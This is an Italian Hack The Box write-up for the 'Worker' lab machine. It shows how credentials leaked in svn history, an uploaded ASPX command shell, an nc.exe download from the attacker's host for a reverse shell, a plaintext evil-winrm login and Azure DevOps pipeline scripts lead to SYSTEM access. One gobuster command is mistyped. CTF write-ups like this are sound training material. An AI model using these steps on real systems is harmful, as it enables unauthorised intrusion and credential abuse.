Hack The Box

Worker

Worker è una macchina segnata con difficoltà media, ma per chi no ha dimestichezza con con Azure DevOps può risultare anche difficile. Personalmente ho preferito il processo per ottenere la flag di user che quella di root perché non c’è nessun indizio che ti sprona a tornare sul framework di Azure, bisogna tirare ad indovinare.

Enum

Sulla macchina girano dei webserver HTTP e un servizio svn, di subversioning, tipo GitHub.

E’ facile individuare che si tratta di Tortoise SVN collegandosi alla porta 3690 tramite browser e facendo una ricerca su google del messaggio visualizzato.

Do un’occhiata anche ai webserver, faccio delle scansioni con gobuster ma non trovo niente quindi decido di enumerare i sottodomini.

Per prima cosa aggiungo worker.htb al file /etc/hosts.

Con gobuster è possibile fare un bruteforce dizionario sui virtual hosts come segue:

$ goobuster ghost -u http://worker.htb -w /usr/local/share/wordlists/dirbuster/small.txt

alla fine riesco ad enumerare i seguenti sottodomini che però purtroppo non portano a nulla, tranne devops.worker.htb:

#HTB Worker
10.10.10.203	worker.htb
10.10.10.203	alpha.worker.htb
10.10.10.203	cartoon.worker.htb
10.10.10.203	lens.worker.htb
10.10.10.203	solid-state.worker.htb
10.10.10.203	dimension.worker.htb
10.10.10.203	spectral.worker.htb
10.10.10.203	story.worker.htb
10.10.10.203	twenty.worker.htb
10.10.10.203	devops.worker.htb

DevOps non è stato trovato da gobuster, bensì attraverso il client di subversioning svn già presente in Kali:

svn list svn://worker.htb

All’interno di moved.txt c’è il seguente messaggio che rimanda a http://devops.worker.htb:

svn cat svn://worker.htb/moved.txt

This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb

// The Worker team :)

devops però non è accessibile, infatti accedendo alla pagina web si presenta una basic authentication; devo trovare le credenziali.

Dal momento che ho spulciato in lungo e in largo tutti i sottodomini, è chiaro che devo approfondire l’enumerazione sul server svn.

Il comando seguente mostra chiaramente un utente (nathen) che gestisce il repository:

svn info svn://worker.htb

Inoltre è possibile vedere che ci sono 5 revisioni. Decido di controllare le revisioni precedenti e dopo qualche tentativo, bingo!

svn checkout -r 2 svn://worker.htb

Il file deploy.ps1 viene scaricato e al suo interno è possibile trovare le credenziali di nathen:

User Flag

A questo punto riesco ad entrare in devops.

Adesso è semplice, abbiamo di fronte un servizio tipo GitHub che permette di gestire dei repository e quindi di creare/caricare file. Dal momento che non si dispone delle autorizzazioni per caricare file sul branch master, ho creato un branch slave del repository spectral e ho caricato una cmd shell in aspx che è già presente in Kali. Una volta caricato il file occorre andare su Pipeline, selezionare spectral e lanciare la pull request:

Poi è bastato caricare la pagina sul browser e lanciare comandi:

A questo punto ho scaricato nc.exe sulla box e ho lanciato una reverse shell:

Invoke-WebRequest "http://10.10.xx.xxx:8080/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"

Faccio un giro all’interno della macchina, enumero un po’ e trovo uno share W:

Al suo interno trovo un file passwd con le credenziali di tutti gli utenti:

All’interno di C:\Users ho visto che che esiste l’utente robisl, quindi mi connetto con wirm dal momento che la porta 5985 è aperta.

evil-winrm -i worker.htb -u robisl -p wolves11

Prendo la flag user.txt di cui ho dimenticato di fare lo screenshot.

Adesso arriva la parte noiosa, tutto ciò che riguarda Azure DevOps è noioso, perché non lo so usare, perché non lo voglio usare è perché è un mattone pesante. Quindi sarò molto breve.

Si enumera il mondo con la nuova utenza senza trovare niente quindi casualmente si prova a riaccedere a DevOps con le nuove credenziali, funzionano.

Root Flag

Con questa utenza è possibile creare delle Pipelines, alla fine delle pipelines c’è un file .yaml che viene elaborato dal sistema ed è in grado di eseguire degli script, comandi cmd scritti al suo interno.

Per creare una pipeline:

Scegliere New Pipeline

Scegliere Azure Repos Git

Scegliere PartsUnlimited

Scegliere Starter pipeline

inserire il codice li

salvare così

A questo punto girarsi i pollici finché il mattone non ha completato. Visualizzando l’output di Run a one-line script è possibile vedere che il servizio gira come nt authority\system

Basta ripetere la procedura per leggere il flag di root. Se uno è sadico prova a prendere la reverse. Io ne avevo abbastanza e mi sono fermato alla flag!

La box è carina ma non è stata il massimo secondo me. Azure è molto lento e frustrante. Inoltre se enumerando i processi fosse stato possibile vedere che l’agent di Azure girava come utente privilegiato, forse si evitava di dover indovinare il fatto che fosse necessario tornare sul portale Azure DevOps con la nuova utenza.